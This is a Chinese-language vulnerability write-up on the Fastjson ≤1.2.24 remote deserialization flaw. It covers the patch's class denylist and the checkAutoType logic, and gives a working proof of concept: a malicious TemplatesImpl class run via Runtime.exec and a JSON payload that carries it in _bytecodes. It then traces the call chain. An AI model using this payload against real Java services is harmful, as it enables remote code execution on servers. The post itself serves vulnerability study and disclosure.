Fastjson 远程反序列化程序验证的构造和分析

fastjson是一个java编写的高性能功能非常完善的JSON库，应用范围非常广，在github上star数都超过8k，在2017年3月15日，fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

关于漏洞的具体详情可参考 ：https://github.com/alibaba/fastjson/wiki/security_update_20170315

受影响的版本

fastjson <= 1.2.24

静态分析

根据官方给出的补丁文件，主要的更新在这个checkAutoType函数上，而这个函数的主要功能就是添加了黑名单，将一些常用的反序列化利用库都添加到黑名单中。

具体包括：

1
2
3
4
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.
comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,
org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

下面我们来分析checkAutoType的函数实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }
 
        if (typeName.length() >= maxTypeNameLength) {
            throw new JSONException("autoType is not support. " + typeName);
        }
 
        final String className = typeName.replace('$', '.');
 
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
 
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
 
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
 
        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
 
            return clazz;
        }

核心部分就是denyList的处理过程，遍历denyList，如果引入的库以denyList中某个deny打头，就会抛出异常，中断运行。

程序验证构造

静态分析得知，要构造一个可用的程序，肯定得引入denyList的库。刚开始fastjson官方公布漏洞信息时，当时就尝试构造验证程序，怎奈fastjson的代码确实庞大，还有asm机制，通过asm机制生成的临时代码下不了断点。当时也只能通过在通过类初始化的时候弹出一个计算器，很显然这个构造方式不具有通用性，最近jackson爆出反序列漏洞，其中就利用了TemplatesImpl类，而这个类有一个字段就是_bytecodes，有部分函数会根据这个_bytecodes生成java实例，简直不能再更妙，这就解决了fastjson通过字段传入一个类，再通过这个类执行有害代码。后来阅读ysoserial的代码时也发现在gadgets.java这个文件中也使用到了这个类来动态生成可执行命令的代码。

下面是一个程序验证的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
import java.io.IOException;
 
public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
 
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
 
    }
 
    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

这个是Test.java的实现，在Test.java的构造函数中执行了一条命令，弹出计算器。编译Test.java得到Test.class供后续使用。后续会将Test.class的内容赋值给_bytecodes。让我们接着分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package person;
 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
 
/**
 * Created by web on 2017/4/29.
 */
public class P{
 
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
       
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这个程序验证代码中，最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，所以是设置不了的，弹计算器的图中展示了但是实际运行却没有使用，只能依赖于jdk的实现，作者在1.8.0_25,1.7.0_05测试都能弹出计算器，某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

接下来我们看下TemplatesImpl.java的几个关键函数：

1
2
3
4
5
6
7
8
 public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;
 
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
 
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
 
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
 
            if (_class == null) defineTransletClasses();
 
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
 
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
        throws TransformerConfigurationException {
 
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
 
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
 
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
 
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
 
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
 
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

在getTransletInstance调用defineTransletClasses，在defineTransletClasses方法中会根据_bytecodes来生成一个java类，生成的java类随后会被getTransletInstance方法用到生成一个实例，也也就到了最终的执行命令的位置Runtime.getRuntime.exec()

下面我们上一张调用链的图：

简单来说就是：

1
2
3
4
5
6
7
8
9
10
11
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

附上一张成功执行图：

总结

该程序验证的影响jdk 1.7，1.8版本，1.6未测试，但是需要在parseObject的时候设置Feature.SupportNonPublicField。

欢迎大家探讨。

如果您需要了解更多内容，可以
加入QQ群：570982169
直接询问：010-68438880

 

源链接

Hacking more

...